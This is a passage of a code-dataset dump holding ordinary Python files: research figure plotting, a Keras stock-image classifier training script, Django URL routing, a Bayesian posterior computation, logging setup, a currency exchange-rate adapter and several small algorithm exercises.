xy=(.05 + .24 * index, .9),\n                xycoords='figure fraction', fontsize=20)\n    output_paper_quality(ax, title=title,\n        xlabel=xlabel, ylabel=ylabel)\n    ax.set_title(title, va='top', pad=20)\n\n\ndef fig2():\n    df = read_common_data()\n    dff = df[~df.Model.str.startswith('BaseNet')]\n\n    fig, axes = plt.subplots(ncols=4, figsize=(12,3))\n    _fig2(axes[0], dff, x='IT', y='IT (new data)',\n        xlabel='IT score (original neurons)', ylabel='IT score (new neurons)',\n        title='New neural recordings,\\nsame images', index=0, r=.93)\n    _fig2(axes[1], dff, x='IT', y='IT (new images)',\n        xlabel='IT score (original neurons)', ylabel='IT score (new neurons)',\n        title='New neural recordings,\\nnew images', index=1, r=.76)\n    _fig2(axes[2], dff, x='Behavior', y='Behavior (new data)',\n        xlabel='Behavioral score (original)', ylabel='Behavioral score (new)',\n        title='New behavioral recordings,\\nnew images', index=2, r=.83)\n    _fig2(axes[3], dff, x='Brain-Score', y='CIFAR-100',\n        xlabel='Brain-Score', ylabel='CIFAR-100 transfer',\n        title='CIFAR-100 transfer', index=3, r=.69)\n    output('fig2')\n\n\ndef _fig3(ax, df, y, ylabel=None, title=None):\n    scatterplot(ax, df, x='Depth', y=y)\n    ax.set_xscale('log')\n    ax.set_xticks([10, 25, 50, 100, 200])\n    output_paper_quality(ax, title=title,\n        xlabel='Model Depth (log scale)', ylabel=ylabel)\n\n\ndef fig3():\n    df = read_common_data()\n    dff = df[~df.Model.str.startswith('BaseNet')].copy()\n\n    fig, axes = plt.subplots(ncols=3, figsize=(9,3), sharex=True)\n    rangex = .05 * (dff['Depth'].max() - dff['Depth'].min())\n\n    jitter = []\n    for idx, row in dff.iterrows():\n        if row.Model.startswith('MobileNet'):\n            j = RNG.uniform(-rangex, rangex)\n        else:\n            j = 0\n        jitter.append(j)\n    dff['jitter'] = jitter\n\n    _fig3(axes[0], dff, y='Brain-Score', ylabel='Brain-Score')\n    _fig3(axes[1], dff, y='ImageNet', ylabel='ImageNet top-1')\n    _fig3(axes[2], dff, y='CIFAR-100', ylabel='CIFAR-100 transfer')\n    output('fig3')\n\n\ndef _fig_a1(ax, df, region):\n    x = f'{region} number of features'\n    scatterplot(ax, df, x=x, y=region)\n    r = corr(df[df[x] >= 1000], x, region, report_p=True)\n    print(f'Fig A1: {r}')\n    # ax.annotate(r, xy=(.5, .1), xycoords='axes fraction', fontsize=10)\n    output_paper_quality(ax, xlabel='Number of features', ylabel=f'{region} neural score')\n\n\ndef fig_a1():\n    df = read_common_data()\n    dff = df[(df['V4 number of features'] < 20000) & (df['IT number of features'] < 20000)]\n\n    fig, axes = plt.subplots(ncols=2, figsize=(6,3))\n    _fig_a1(axes[0], dff, region='V4')\n    _fig_a1(axes[1], dff, region='IT')\n    output('fig_a1')\n\n\ndef fig_a2():\n    df = pandas.read_csv('data/cornet_search.csv')\n\n    plt.figure(figsize=(6, 4))\n    ax = plt.subplot(111)\n    ax.scatter(df['ImageNet'], df['Behavior'], s=10, color='gray', alpha=.7, edgecolors='none')\n    r = corr(df, x='ImageNet', y='Behavior')\n    ax.annotate(r, xy=(.75, .1), xycoords='axes fraction', fontsize=10)\n    output_paper_quality(ax, xlabel='ImageNet top-1', ylabel='Behavioral score')\n    output('fig_a2')\n\n\ndef _fig_a3(ax, df, region, time):\n    y = f'{region} ({time})'\n    ms = 100 if time == 'early' else 200\n    scatterplot(ax, df, x='ImageNet', y=y)\n    r = corr(df, x='ImageNet', y=y, report_p=True)\n    ax.annotate(r, xy=(.5, .1), xycoords='axes fraction', fontsize=10)\n    output_paper_quality(ax, xlabel='ImageNet top-1',\n                         ylabel=f'{region} neural score (at {ms} ms)',\n                         title=f'{region} {time}')\n\n\ndef fig_a3():\n    df = read_common_data()\n\n    fig, axes = plt.subplots(nrows=2, ncols=2, figsize=(6,6))\n    _fig_a3(axes[0,0], df, region='V4', time='early')\n    _fig_a3(axes[0,1], df, region='V4', time='late')\n    _fig_a3(axes[1,0], df, region='IT', time='early')\n    _fig_a3(axes[1,1], df, region='IT', time='late')\n    output('fig_a3')\n\n\ndef _highlight_max(data):\n    if data.dtype.name == 'object':  # got a string (model)\n        return data\n\n    max_idx = data.idxmax()\n    formatted_data = []\n    for idx, value in data.iteritems():\n        if value != 0:\n            value = f'{value:.3f}'.lstrip('0').rstrip('0')\n        else:\n            value = '0'\n\n        if idx == max_idx:\n            value = '\\\\textbf{' + value + '}'\n        formatted_data.append(value)\n\n    return formatted_data\n\n\ndef table_a1():\n    df = read_common_data()\n    dff = df[df['Brain-Score'].notnull() & ~df.Model.str.startswith ('BaseNet') & ~df.Model.str.startswith('MobileNet')]\n\n    idx = df.loc[df.Model.str.startswith ('BaseNet'), 'Brain-Score'].idxmax()\n    best_basenet = df.loc[idx].copy()\n    best_basenet['Model'] = 'Best BaseNet'\n    dff = dff.append(best_basenet)\n\n    idx = df.loc[df.Model.str.startswith ('MobileNet'), 'Brain-Score'].idxmax()\n    best_mobilenet = df.loc[idx].copy()\n    best_mobilenet['Model'] = 'Best MobileNet'\n    dff = dff.append(best_mobilenet)\n\n    dff = dff.sort_values(by='Brain-Score', ascending=False)\n    dff = dff[['Model', 'Brain-Score', 'V4', 'IT', 'OST', 'Behavior']].apply(_highlight_max)\n    \n    dff.to_latex(os.path.join(OUTPUT, 'table_a1.tex'), escape=False, index=False)\n\n\ndef gen_all():\n    fig1()\n    fig2()\n    fig3()\n    # data for fig4 is not provided\n    # fig5 is generated by fig5.py from scratch\n    table_a1()\n    fig_a1()\n    fig_a2()\n    fig_a3()\n\n\nif __name__ == '__main__':\n    fire.Fire()","repo_name":"dicarlolab/neurips2019","sub_path":"figures.py","file_name":"figures.py","file_ext":"py","file_size_in_byte":9600,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"35"}
{"seq_id":"16052844768","text":"# coding:utf-8\n# from keras.backend.tensorflow_backend import set_session\nimport pandas as pd\nimport numpy as np\nimport time\nimport csv\nimport tensorflow as tf\nimport matplotlib\nmatplotlib.use('agg')\nimport matplotlib.pyplot as plt\nimport math\nfrom math import log, exp\nfrom matplotlib import dates as mdates\nfrom matplotlib import ticker as mticker\nfrom matplotlib.dates import DateFormatter, WeekdayLocator, DayLocator, MONDAY, YEARLY\nfrom matplotlib.dates import MonthLocator, MONTHLY\nimport datetime as dt\n\nimport h5py\nfrom PIL import Image\nimport os\nimport threading\nimport multiprocessing as mp\nimport multiprocessing\nfrom multiprocessing import Pool\nimport random\n\nfrom numpy.random import randint\nimport imageio\nimport glob\nfrom random import shuffle\nimport keras\nfrom keras.utils import np_utils\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, Activation, BatchNormalization\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping\nfrom keras.optimizers import Adam\nfrom keras.applications.resnet50 import ResNet50\nfrom keras.applications.inception_resnet_v2 import InceptionResNetV2\nfrom keras.applications.xception import Xception\nfrom keras.utils import Sequence\nfrom keras.utils import multi_gpu_model\nfrom keras.preprocessing.image import img_to_array\nfrom numpy import float\n# from multi_gpu_model_fixed import multi_gpu_model\n\nstocknum = {\n    '0051', '1102', '1216', '1227', '1314', '1319', '1434', '1451', '1476',\n    '1477', '1504', '1536', '1560', '1590', '1605', '1704', '1717', '1718',\n    '1722', '1723', '1789', '1802', '1909', '2015', '2049', '2059', '2106',\n    '2201', '2204', '2207', '2227', '2231', '2312', '2313', '2324', '2327',\n    '2337', '2344', '2347', '2352', '2353', '2356', '2360', '2371', '2376',\n    '2377', '2379', '2385', '2439', '2448', '2449', '2451', '2478', '2492',\n    '2498', '2542', '2603', '2606', '2610', '2615', '2618', '2723', '2809',\n    '2812', '2834', '2845', '2867', '2888', '2912', '2915', '3019', '3034',\n    '3044', '3051', '3189', '3231', '3406', '3443', '3532', '3673', '3682',\n    '3702', '3706', '4137', '4915', '4943', '4958', '5264', '5522', '5871',\n    '6005', '6116', '6176', '6239', '6269', '6285', '6409', '6414', '6415',\n    '6452', '6456', '8454', '8464', '9910', '9914', '9917', '9921', '9933',\n    '9938', '9941', '9945'\n}\n\n\ndef generate_from_file(x, y, batch_size):\n\n    ylen = len(y)\n\n    while (True):\n        #X_output = np.zeros((batch_size,) + (224, 224, 3), dtype=np.float)\n        Data = []\n\n        randpick = randint(0, ylen, size=batch_size)\n        labels = np.zeros((batch_size, 3), dtype=np.uint8)\n\n        for i, value in enumerate(randpick):\n            labels[i] = y[value]\n\n            pic_addr = x[value]\n            pic = imageio.imread(pic_addr)\n            #X_output[i] = pic\n            Data.append(pic)\n\n        Data = np.array(\n            Data, dtype=np.uint8).reshape((batch_size, ) + (224, 224, 3))\n        # print(Data.shape)\n\n        yield Data, labels\n\n\ndef main():\n    #將單一一支股票當作validation\n    pic_train = []\n    table_train = []\n    pic_validation = []\n    table_validation = []\n\n    for stockid in stocknum:\n        df = pd.read_hdf('h5_data/' + stockid + '_table_sumchange.h5',\n                         'stock_data_table')\n        pic_addrs = []\n        for i in range(len(df)):\n            if (os.path.exists('stock_pic/' + stockid + 'pic/' + str(i)\n                               .zfill(4) + '_' + stockid + '.jpg')) == False:\n                print('FileNotFoundError error 圖片不足\\n')\n                raise FileNotFoundError\n            pic_addrs.append('stock_pic/' + stockid + 'pic/' +\n                             str(i).zfill(4) + '_' + stockid + '.jpg')\n\n        randpickstock = randint(0, 111, size=15)\n        valflag = 0\n        for num in randpickstock:\n            if stockid == '0051':\n                break\n            if stockid == list(stocknum)[num]:\n                for item in pic_addrs:\n                    item = item.replace('\\\\', '/')\n                    pic_validation.append(item)\n                for table in df.values:\n                    table_validation.append(table)\n                valflag = 1\n\n        if valflag == 0:\n            for item in pic_addrs:\n                item = item.replace('\\\\', '/')\n                pic_train.append(item)\n            for table in df.values:\n                table_train.append(table)\n\n    # for i,labels in enumerate(table_train) :\n    #     if labels.shape !=(3,):\n    #         raise ValueError\n    #     print(i)\n    # for i,labels in enumerate(table_validation) :\n    #     if labels.shape !=(3,):\n    #         raise ValueError\n    #     print(i)\n\n    # for i,picaddr in enumerate(pic_train) :\n    #     pic = imageio.imread(picaddr,format='jpg')\n    #     if pic.shape !=(224,224,3):\n    #         raise ValueError\n    #     print(i)\n    # for i,picaddr in enumerate(pic_validation) :\n    #     pic = imageio.imread(picaddr,format='jpg')\n    #     if pic.shape !=(224,224,3):\n    #         raise ValueError\n    #     print(i)\n    print('pic_train shape = ' + str(len(pic_train)))\n    print('table_train shape = ' + str(len(table_train)))\n    print('pic_validation shape = ' + str(len(pic_validation)))\n    print('table_validation shape = ' + str(len(table_validation)))\n\n    c = list(zip(pic_train, table_train))\n    shuffle(c)\n    addrs, labels = zip(*c)\n    train_addrs = list(addrs)\n    train_labels = list(labels)\n\n    vc = list(zip(pic_validation, table_validation))\n    shuffle(vc)\n    addrs, labels = zip(*vc)\n    val_addrs = list(addrs)\n    val_labels = list(labels)\n\n    \n    print('reading model......\\n')\n    parallel_model = keras.models.load_model(\n        'best_acc.h5', custom_objects={\"tf\": tf})\n    print('read model OK')\n    # with tf.device('/cpu:0'):\n        # model = ResNet50(\n        #     input_shape=(224, 224, 3),\n        #     classes=3,\n        #     pooling='max',\n        #     include_top=True,\n        #     weights=None)\n        # model = InceptionResNetV2(\n        #     input_shape=(224, 224, 3), classes=3, include_top=True,weights=None)\n    # parallel_model = Xception(\n    #     input_shape=(224, 224, 3),\n    #     classes=3,\n    #     include_top=True,\n    #     weights=None)\n\n    # # parallel_model = multi_gpu_model(model, gpus=4)\n    # parallel_model.compile(\n    #     loss='categorical_crossentropy',\n    #     optimizer='adam',\n    #     metrics=['accuracy'])\n\n    parallel_model.summary()\n    print('\\n\\n\\n\\n')\n\n    # if not os.path.exists('sum_pic.h5'):\n    #     sum_pic = h5py.File('sum_pic.h5', mode='w')\n\n    #     sum_pic.create_dataset(\n    #         'pic', shape=(len(addrs), 224, 224, 3), dtype=np.uint8)\n\n    #     for i, addr in enumerate(addrs):\n    #         pic = imageio.imread(addr)\n    #         sum_pic['pic'][i] = pic\n    #         if i % 100 == 0:\n    #             print(str(i) + ' / ' + str(len(addrs)) + '  pic done')\n\n    #     sum_pic.create_dataset('table', data=labels, dtype=np.uint8)\n\n    # else:\n    #     sum_pic = h5py.File('sum_pic.h5', mode='r')\n\n    batch_size = 10\n\n    model_checkpoint_save = ModelCheckpoint(\n        \"best_acc.h5\",\n        monitor='val_acc',\n        verbose=1,\n        save_best_only=True,\n        mode='max')\n    model_checkpoint = EarlyStopping(\n        monitor='val_acc', verbose=1, mode='max', min_delta=0.0001, patience=8)\n\n    # train_history = parallel_model.fit(x=sum_pic['pic'][0:int(len(sum_pic['table'])*0.9)],\n    #                                    y=sum_pic['table'][0:int(\n    #                                        len(sum_pic['table'])*0.9)],\n    #                                    #steps_per_epoch=None,\n    #                                    steps_per_epoch=50000,\n    #                                    epochs=1,\n    #                                    #batch_size=batch_size,\n    #                                    verbose=1, callbacks=[model_checkpoint],\n    #                                    validation_split=0.2, shuffle=True)\n\n    train_history = parallel_model.fit_generator(\n        generate_from_file(train_addrs, train_labels, batch_size),\n        steps_per_epoch=len(train_addrs) // batch_size // 3,\n        # steps_per_epoch=1000,\n        epochs=50,\n        verbose=1,\n        validation_data=generate_from_file(\n            val_addrs[0:int(len(val_addrs) * 0.7)],\n            val_labels[0:int(len(val_addrs) * 0.7)], batch_size),\n        validation_steps=len(val_addrs[0:int(len(val_addrs) * 0.7)]) //\n        batch_size//3,\n        #validation_steps=100,\n        # workers=mp.cpu_count(),\n        workers=7,\n        max_queue_size=1000,\n        shuffle=True,\n        callbacks=[model_checkpoint,model_checkpoint_save],\n        use_multiprocessing=True)\n\n    loss, accuracy = parallel_model.evaluate_generator(\n        generate_from_file(val_addrs[int(len(val_addrs) * 0.7):],\n                           val_labels[int(len(val_addrs) * 0.7):], batch_size),\n        steps=len(val_addrs[int(len(val_addrs) * 0.7):]) // batch_size,\n        # workers=mp.cpu_count(),\n        workers=7,\n        use_multiprocessing=True,\n        max_queue_size=1000)\n\n    print(train_history)\n    plt.figure()\n    plt.plot(train_history.history['acc'])\n    plt.savefig(\n        'model_accuracy' + str(round(accuracy, 2)) + '.jpg',\n        dpi=200,\n        bbox_inches='tight',\n        mode='w')\n    plt.figure()\n    plt.plot(train_history.history['loss'])\n    plt.savefig(\n        'model_loss' + str(round(loss, 2)) + '.jpg',\n        dpi=200,\n        bbox_inches='tight',\n        mode='w')\n\n    print('\\ntest loss: ', loss)\n    print('\\ntest accuracy: ', accuracy)\n\n    parallel_model.save('my_model_' + str(round(accuracy, 3)) + '.h5')\n\n\nmain()\n","repo_name":"bamboocutecat/stock_project_2018","sub_path":"cnn_keras_model_valspit.py","file_name":"cnn_keras_model_valspit.py","file_ext":"py","file_size_in_byte":9741,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"72186360101","text":"from django.conf import settings\nfrom django.contrib import admin\nfrom django.views import defaults as default_views\nfrom django.urls import include, path, re_path\nfrom django.conf.urls.static import static\nfrom invoices.views import handler403, handler404, handler500\nfrom authentication.views import (\n    update_vertrieblers,\n    update_elektrikers,\n    protected_schema_view,\n)\n\nurlpatterns = [\n    path(\"admin/\", admin.site.urls),\n    path(\n        \"adminfeautures/\",\n        include((\"adminfeautures.urls\", \"adminfeautures\"), namespace=\"adminfeautures\"),\n    ),\n    path(\"update_vertrieblers/\", update_vertrieblers, name=\"update_vertrieblers\"),\n    path(\"update_elektrikers/\", update_elektrikers, name=\"update_elektrikers\"),\n    path(\"admin/schema/\", protected_schema_view, name=\"schema_view\"),\n    path(\"/\", include(\"djoser.urls\")),\n    path(\"\", include(\"djoser.urls.jwt\")),\n    path(\"\", include(\"authentication.urls\", namespace=\"authentication\")),\n    path(\"\", include(\"vertrieb_interface.urls\", namespace=\"vertrieb_interface\")),\n    path(\n        \"proj/\", include(\"projektant_interface.urls\", namespace=\"projektant_interface\")\n    ),\n    path(\"elektriker_interface/\", include(\"invoices.urls\", namespace=\"invoices\")),\n    path(\n        \"elektriker_kalender\",\n        include(\"elektriker_kalender.urls\", namespace=\"elektriker_kalender\"),\n    ),\n    re_path(\n        r\"^400/$\",\n        default_views.bad_request,\n        kwargs={\"exception\": Exception(\"Bad Request!\")},\n    ),\n    re_path(\n        r\"^403/$\",\n        default_views.permission_denied,\n        kwargs={\"exception\": Exception(\"Permission Denied\")},\n    ),\n    re_path(\n        r\"^404/$\",\n        default_views.page_not_found,\n        kwargs={\"exception\": Exception(\"Page not Found\")},\n    ),\n    re_path(r\"^500/$\", default_views.server_error),\n]\n\nif settings.DEBUG:\n    urlpatterns += [\n        re_path(r\"^403/$\", handler403),\n        re_path(r\"^404/$\", handler404),\n        re_path(r\"^500/$\", handler500),\n    ]\n\nurlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"teamitjuno/jsh-ubuntu-droplet","sub_path":"config/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"75230077219","text":"import clean\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom datetime import date, datetime, timedelta\nfrom scipy.stats import gamma\n\npd.set_option('display.max_rows', 100)\n\ncombined_deaths = 'combined_deaths'\ndate_col = 'Date'\n\ndef plot_posterior(a, b, week):\n    # Take arbitrary X-axis range of (5, 20)\n    x_points = np.linspace(5, 20, 500)\n    # Generate PDF for gamma(a,b) for each x\n    y_pdf = gamma.pdf(x_points, a=a, scale=b)\n\n    map_val = round(x_points[y_pdf.argmax()], 3)\n    print(\"MAP for week {0} Posterior Distribution of λ = {1}\".format(week, map_val))\n    plt.plot(x_points, y_pdf, label = 'Posterior: Week {0}, MAP = {1}'.format(week, map_val))\n\ndef calculate_posterior(daily_data):\n    # Take a subset of only first 8 weeks of June-July 2020 data\n    start_date, date_format = '2020-06-01', '%Y-%m-%d'\n    end_date = (datetime.strptime(start_date, date_format) + timedelta(weeks=8)).strftime(date_format)\n    bi_data = daily_data[(daily_data[date_col] >= start_date) & (daily_data[date_col] < end_date)].copy()\n    # Compute combined deaths for the months of June-July\n    bi_data[combined_deaths] = bi_data.loc[:, ['CT deaths', 'DC deaths']].sum(axis=1)\n\n    # Given, combined deaths are assumed to be Poisson(lambda) distributed. MME for the Poisson parameter, lambda_mme, is the same as \n    # the sample mean of the first 4 weeks' data\n    training_days = 4 * 7\n    training_end_date = (datetime.strptime(start_date, date_format) + timedelta(days=training_days)).strftime(date_format)\n    lambda_mme = bi_data[bi_data[date_col] < training_end_date][combined_deaths].mean()\n    # Given, mean of prior exponential = beta = lambda_mme\n    beta = lambda_mme\n\n    plt.figure('Posterior Distribution', figsize=(15,8))\n    print(\"{0} 2d) Posterior Distributions of λ {0}\".format(20*\"-\"))\n    # Find posterior from weeks 5-8\n    for week in range(5, 9):\n        week_end_date = (datetime.strptime(start_date, date_format) + timedelta(weeks=week)).strftime(date_format) \n        week_i_deaths = bi_data[bi_data[date_col] < week_end_date][combined_deaths]\n        \n        # As derived in the report, since both Poisson and Exponential distributions have Gamma distribution as their conjugate priors,\n        # the posteriors too will be gamma distributed in the form of Gamma(a, b), where:\n        # shape parameter a = sample sum sigma_x_i + 1, scale parameter b = 1 / (sample data size + (1/beta))\n        sample_size = week_i_deaths.size\n        a = week_i_deaths.sum() + 1\n        b = 1 / (sample_size + (1/beta))\n        plot_posterior(a, b, week)\n    \n    # Plot posterior distribution graph for weeks 5-8\n    plt.title('Posterior Distribution of λ')\n    plt.xlabel('X')\n    plt.ylabel('λ ~ Gamma(a, b) PDF')\n    plt.legend(loc='best')\n    plt.show()\n","repo_name":"binoychitale/cse-544-project","sub_path":"src/posterior.py","file_name":"posterior.py","file_ext":"py","file_size_in_byte":2806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30436992911","text":"import pandas as pd\nfrom typing import Any, Optional\nfrom typing import Union, List\n\n\nclass Melter:\n    def __init__(\n        self,\n        id_vars: Union[str, List[str]],\n        created_cell_col: str = \"cell_id\",\n        created_value_col: str = \"value\",\n        cast_cell_col_type: Optional[str] = None,\n        drop_cols: Optional[List[str]] = None,\n    ):\n        self.id_vars = id_vars\n        self.created_cell_col = created_cell_col\n        self.created_value_col = created_value_col\n        self.cast_cell_col_type = cast_cell_col_type\n        self.drop_cols = drop_cols\n\n    def _cast_cell_col(self, df: pd.DataFrame) -> pd.DataFrame:\n        if self.cast_cell_col_type is not None:\n            df[self.created_cell_col] = df[self.created_cell_col].astype(\n                self.cast_cell_col_type\n            )\n        return df\n\n    def __call__(self, df_traces: pd.DataFrame) -> pd.DataFrame:\n        if self.drop_cols is not None:\n            df_traces = df_traces.drop(columns=self.drop_cols)\n        df_traces = pd.melt(\n            df_traces,\n            id_vars=self.id_vars,\n            var_name=self.created_cell_col,\n            value_name=self.created_value_col,\n        )\n        df_traces = self._cast_cell_col(df_traces)\n        return df_traces\n","repo_name":"Ruairi-osul/trace-minder","sub_path":"trace_minder/transforms/melt.py","file_name":"melt.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2736761038","text":"import sys\ninput = sys.stdin.readline\n\ndef dfs(start):\n    if len(arr) == m:\n        print(\" \".join(map(str, arr)))\n        return\n    for i in range(start, n+1):\n        if i not in arr:\n            arr.append(i)\n            dfs(i+1)\n            arr.pop()\n\narr = []\nn,m=map(int, input().split())\ndfs(1)\n\n","repo_name":"gunhoo/Algorithm","sub_path":"BOJ/Silver/15650(back tracking).py","file_name":"15650(back tracking).py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"29000081076","text":"n, m, k = map(int, input().split())\nstate = [int(_) for _ in range(1, n + 1)]\nflager = {}\nfor _ in range(m):\n    pos1, pos2 = map(int, input().split())\n    flager.pop(pos1, None)\n    flager.pop(pos2, None)\n    state[pos1 - 1], state[pos2 - 1] = state[pos2 - 1], state[pos1 - 1]\n    \n    if abs(state[pos1 - 1] - pos1) > k:\n        flager[pos1] = 1\n\n    if abs(state[pos2 - 1] - pos2) > k:\n        flager[pos2] = 1\n    \n    print (1 if len(flager) > 0 else 0)","repo_name":"mamawr/Machine-ruLearning","sub_path":"Olymp-2/zapupa3.py","file_name":"zapupa3.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37321687453","text":"from common import aggregate_vectors\n\nclass Client:\n    def __init__(self, bitvector_trees):\n        self.bitvector_trees = bitvector_trees\n\n    def local_compute(self, features, feature_offset):\n        \"\"\"\n        Return a list of lists, size [data_size, tree_size]\n        \"\"\"\n        and_vectorss = []\n        for _, feature in enumerate(features):\n            and_vectors = []\n            for tree in self.bitvector_trees:\n                and_vectors.append(aggregate_vectors(tree, feature, feature_offset))\n            and_vectorss.append(and_vectors)\n\n        return and_vectorss\n            \n        \n\n\n\n","repo_name":"asu-cactus/federated-decision-forest-inference","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4497261157","text":"import sys\n\nmy_list = []\nfor line in sys.stdin:\n    if int(line) == 0:\n        break\n    my_list.append(int(line))\ncount = 1\nmy_max = -1\nfor el in my_list:\n    if el > my_max:\n        my_max = el\n        count = 1\n    elif el == my_max:\n        count += 1\nprint(count)","repo_name":"akrex42/python_deepening","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19891256792","text":"# intercept logging msg to loguru\n##################################\nimport logging\nimport sys\n\nfrom loguru import logger\n\n\nclass InterceptHandler(logging.Handler):\n    def emit(self, record):\n        # Get corresponding Loguru level if it exists.\n        try:\n            level = logger.level(record.levelname).name\n        except ValueError:\n            level = record.levelno\n\n        # Find caller from where originated the logged message.\n        frame, depth = sys._getframe(6), 6\n        while frame and frame.f_code.co_filename == logging.__file__:\n            frame = frame.f_back\n            depth += 1\n\n        logger.opt(depth=depth, exception=record.exc_info).log(\n            level, record.getMessage()\n        )\n\n\nlogging.basicConfig(handlers=[InterceptHandler()], level=0, force=True)\n\n# set log level for logging logger\nlogging_logger = logging.getLogger(__name__)\nlogging_logger.setLevel(logging.INFO)\n\nlogging_logger.info(\"This is a test message\")\nlogging_logger.debug(\"This is a test message\")\n\n# alternatively set log level for loguru logger\nlogger.remove()\nlogger.add(sys.stderr, level=\"INFO\")\n\nlogger.info(\"This is a test message\")\nlogger.debug(\"This is a test message\")\n\nlogging_logger.info(\"This is a test message\")\nlogging_logger.debug(\"This is a test message\")\n","repo_name":"0xdomyz/python_collection","sub_path":"log/logging_to_loguru.py","file_name":"logging_to_loguru.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"3619180483","text":"import logging\nfrom decimal import Decimal\nfrom django.conf import settings\n\nfrom exchange.models import Currency, ExchangeRate\n\nfrom exchange.utils import update_many, insert_many\n\nlogger = logging.getLogger(__name__)\n\n\nclass BaseAdapter(object):\n    \"\"\"Base adapter class provides an interface for updating currency and\n    exchange rate models\n\n    \"\"\"\n    def update(self):\n        \"\"\"Actual update process goes here using auxialary ``get_currencies``\n        and ``get_exchangerates`` methods. This method creates or updates\n        corresponding ``Currency`` and ``ExchangeRate`` models\n\n        \"\"\"\n        currencies = self.get_currencies()\n        currency_objects = {}\n        for code, name in currencies:\n            currency_objects[code], created = Currency.objects.get_or_create(\n                code=code, defaults={'name': name})\n            if created:\n                logger.info('currency: %s created', code)\n        existing = ExchangeRate.objects.values('source__code',\n                                               'target__code',\n                                               'id')\n        existing = {(d['source__code'], d['target__code']): d['id']\n                    for d in existing}\n        usd_exchange_rates = dict(self.get_exchangerates('USD'))\n        updates = []\n        inserts = []\n        for source in currencies:\n            for target in currencies:\n                rate = self._get_rate_through_usd(source.code,\n                                                  target.code,\n                                                  usd_exchange_rates)\n\n                exchange_rate = ExchangeRate(source=currency_objects[source.code],\n                                             target=currency_objects[target.code],\n                                             rate=rate)\n\n                if (source.code, target.code) in existing:\n                    exchange_rate.id = existing[(source.code, target.code)]\n                    updates.append(exchange_rate)\n                    logger.debug('exchange rate updated %s/%s=%s'\n                                 % (source, target, rate))\n                else:\n                    inserts.append(exchange_rate)\n                    logger.debug('exchange rate created %s/%s=%s'\n                                 % (source, target, rate))\n\n            logger.info('exchange rates updated for %s' % source.code)\n        logger.info(\"Updating %s rows\" % len(updates))\n        update_many(updates)\n        logger.info(\"Inserting %s rows\" % len(inserts))\n        insert_many(inserts)\n        logger.info('saved rates to db')\n\n    def _get_rate_through_usd(self, source, target, usd_rates):\n        # from: https://openexchangerates.org/documentation#how-to-use\n        # gbp_hkd = usd_hkd * (1 / usd_gbp)\n        usd_source = usd_rates[source]\n        usd_target = usd_rates[target]\n        rate = usd_target * (Decimal(1.0) / usd_source)\n        rate = rate.quantize(Decimal('0.123456'))  # round to 6 decimal places\n        return rate\n\n    def get_currencies(self):\n        \"\"\"Subclasses must implement this to provide all currency data\n\n        :returns: currency tuples ``[(currency_code, currency_name),]``\n        :rtype: list\n\n        \"\"\"\n        raise NotImplementedError()\n\n    def get_exchangerates(self, base):\n        \"\"\"Subclasses must implement this to provide corresponding exchange\n        rates for given base currency\n\n        :returns: exchange rate tuples ``[(currency_code, rate),]``\n        :rtype: list\n\n        \"\"\"\n        raise NotImplementedError()\n","repo_name":"metglobal/django-exchange","sub_path":"exchange/adapters/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3554,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"35"}
{"seq_id":"21556832250","text":"# you can write to stdout for debugging purposes, e.g.\n# print(\"this is a debug message\")\nimport collections\ndef solution(A):\n    # write your code in Python 3.6\n    dic = dict(collections.Counter(A))\n    leader, times = max(dic.items(), key = lambda x: x[1])\n\n    left = 0\n    equiCnt = 0\n    for i, v in enumerate(A):\n        if v == leader:\n            left += 1\n        if left > (i+1) / 2 and (times-left) > (len(A)-i-1) / 2:\n            equiCnt += 1\n    return equiCnt\n","repo_name":"bingli8802/codility","sub_path":"8.2_EqiLeader.py","file_name":"8.2_EqiLeader.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
